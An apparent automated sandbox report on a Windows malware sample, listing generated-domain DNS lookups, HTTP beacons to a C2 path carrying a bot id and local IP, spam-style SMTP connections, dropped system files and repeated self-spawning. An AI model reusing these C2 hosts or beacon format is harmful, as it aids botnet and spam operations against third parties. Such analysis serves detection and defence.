Source: unknown	DNS traffic detected: query: swqrheamea.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: napenhsmha.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rahhhqwqqa.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rwneseeers.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qsaqhnrwwn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qhhnpesehs.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pnmhpsaqwn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qppqsasahn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnmrweahpn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: spmpesqama.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmsaspnsna.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: neqanhanwn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssrnpwprpn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pwramqmsms.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rpwrwpqmrs.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sermsqqqna.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: naspqmsmeh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmqspqnhwa.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smrnnmaqra.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qseahwrsps.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ampsqhrras.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmasphhsah.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hwenrqmmmh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hwnppemeea.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hsqrpmnhwa.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hqepnmqewn.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nnhssqsasr.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pswmhhehwn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pqarnhhhhn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: saanqmaqpn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hnehqqwwrs.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mqsnrenerh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hnhsehnhpa.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nnhhneqnrh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nprhssnrmn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aeaqnwmhes.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sprpmpqasn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pweenawwra.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: haaahpspqs.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nwqsnneawh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awqqrwmwsh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nspseanhrs.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aqsnaasemh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: psmrewwhhh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qqpqwehwah.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: spawwehsrs.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qppamspwhs.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: neshnhhwss.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rwqmwaahsa.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnwsnarssr.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnrphnsawn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amnrsmaaqh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awmmprseha.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sqmswpnqws.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hemqhqaema.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: prnaqpsqar.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rhwnqwwnah.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnrepmepar.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aqmrnawpan.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pwqpewwahh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rmmamheshh.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aeaqmpsaqa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: apqhwmnqrh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wrmqnnrqmh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bog.msu.ru replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: haswmnsqah.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mwaaemmnhn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rsqsepmwas.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pnpnsrnear.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qpsnmphmhn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smmmwrsqhs.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnnhnhahmh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqeasppnas.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: armahmrsaa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hwnwwhmapa.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hpeqherars.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmrmswrran.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nwrrpeshhn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: prmnsewqws.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qhsmqqhnsh.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqahhaqenh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: srsersmhsa.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: remrpqpseh.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: spewqmspma.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wmphheprha.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mehsnsamha.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: npmpsewraa.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pmmpmshmsr.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nhseewhaps.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msaemqshmh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mesrphwwas.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssnsphrnws.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nqenrpwpeh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: snshrmsmmh.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: prmaahsmqs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mhwrraqnwa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qsqpspspqn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rqsepprwmh.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qrmhwrwwmn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mwpmmeshma.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mwhnpqrmrn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqpeaenphs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hpswpmhqah.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hmamsmwhar.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pmrqmemawa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rqeaqsqpsr.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mswapwrnan.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wmamewnnea.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pnhhpawqpa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msarphnewh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pnaqheqnsa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mqpppnhaes.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msqepwamwn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wpraeqahma.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nhmqhmsrph.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smprehnwhs.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rqeaqeewas.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nhwwheearh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smqnsaanqs.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnaampsmna.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nmerqanann.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rnrmmnpnpn.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: shprahaqrh.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qnrnwnwaas.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sqepwsanpn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smwrehrsph.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pqnqqqrpmh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wharrewhpn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: anmmemmqms.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqpaamhwrs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pehprrmnns.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hpeemnapan.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hwhnrpesma.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pqshhpemrn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aenenenqsa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: resrnrrmnn.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nhamrnqsps.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmmmshpqan.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smspppawmn.biz replaycode: Name error (3)

Source: unknown

Network traffic detected: DNS query count 241

Source: global traffic	TCP traffic: 192.168.2.5:49697 -> 142.250.102.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49698 -> 85.187.148.2:25
Source: global traffic	TCP traffic: 192.168.2.5:49700 -> 104.47.55.138:25
Source: global traffic	TCP traffic: 192.168.2.5:49701 -> 209.51.188.92:25
Source: global traffic	TCP traffic: 192.168.2.5:49707 -> 142.250.150.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49716 -> 198.252.153.129:25
Source: global traffic	TCP traffic: 192.168.2.5:49718 -> 142.250.147.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49719 -> 217.69.139.150:25
Source: global traffic	TCP traffic: 192.168.2.5:49723 -> 142.250.150.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49732 -> 74.125.200.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49735 -> 142.250.157.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49750 -> 142.250.102.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49754 -> 142.250.157.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49755 -> 104.47.59.138:25
Source: global traffic	TCP traffic: 192.168.2.5:49778 -> 74.125.200.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49849 -> 142.250.147.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49855 -> 94.100.180.31:25
Source: global traffic	TCP traffic: 192.168.2.5:49861 -> 104.47.66.10:25

Source: smnss.exe, 00000002.00000002.571873028.000000000061C000.00000004.00000010.00020000.00000000.sdmp

String found in binary or memory: http://aaesrmawah.com/imgs/krewa/nqxa.php?ch=1&id=4462klfz&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e

Source: unknown

DNS traffic detected: queries for: shpqsasmrn.biz

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00401C2C memset,memset,_mbscat,_mbscat,_mbscat,_mbscat,_mbscat,_mbscat,Sleep,send,recv,strtok,strtok,closesocket,atoi,atoi,memset,lstrlen,lstrcmp,lstrcmp,

0_2_00401C2C

Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: rmhhhmswqh.orgUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: whenaeqsar.inUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: pqarseshhn.inUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: meahewphwa.inUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: hmpasnpmas.netUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: enahmnhqah.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: erwrahwnhs.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: emasqpamqs.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: eaehanqhsr.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: wpqqhhspps.inUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aewrhprres.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: asnrrsamsa.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aanparshnh.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aharwhphnh.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: rsrsemnren.orgUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: empewsqsqa.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: reaaheeara.orgUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: rrhaerswna.orgUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aaawpshran.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: ennmqsmqna.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: ehrawpsrms.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: awhhsqness.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: eqprsrnprs.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aaesrmawah.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: eqnhphnqms.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: erphseshhh.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: emhmmwaasa.wsUser-Agent: explwer

Spam, unwanted Advertisements and Ransom Demands

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 18

System Summary

PE file has nameless sections

Source: ydbWyoxHsd.exe	Static PE information: section name:
Source: grcopy.dll.0.dr	Static PE information: section name:
Source: smnss.exe.0.dr	Static PE information: section name:

Source: ydbWyoxHsd.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

File created: C:\Windows\SysWOW64\ctfmen.exe

Jump to behavior

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: 0_2_00408054	0_2_00408054
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: 0_2_00408B60	0_2_00408B60
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: 0_2_1000A000	0_2_1000A000
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 2_2_00408054	2_2_00408054
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 2_2_00408B60	2_2_00408B60

Source: C:\Windows\SysWOW64\smnss.exe	Code function: String function: 00404C38 appears 47 times
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: String function: 00404C38 appears 47 times

Source: ydbWyoxHsd.exe	ReversingLabs: Detection: 100%
Source: ydbWyoxHsd.exe	Virustotal: Detection: 77%

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

File read: C:\Users\user\Desktop\ydbWyoxHsd.exe

Jump to behavior

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ydbWyoxHsd.exe C:\Users\user\Desktop\ydbWyoxHsd.exe
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Process created: C:\Windows\SysWOW64\ctfmen.exe ctfmen.exe
Source: C:\Windows\SysWOW64\ctfmen.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Process created: C:\Windows\SysWOW64\ctfmen.exe ctfmen.exe	Jump to behavior
Source: C:\Windows\SysWOW64\ctfmen.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
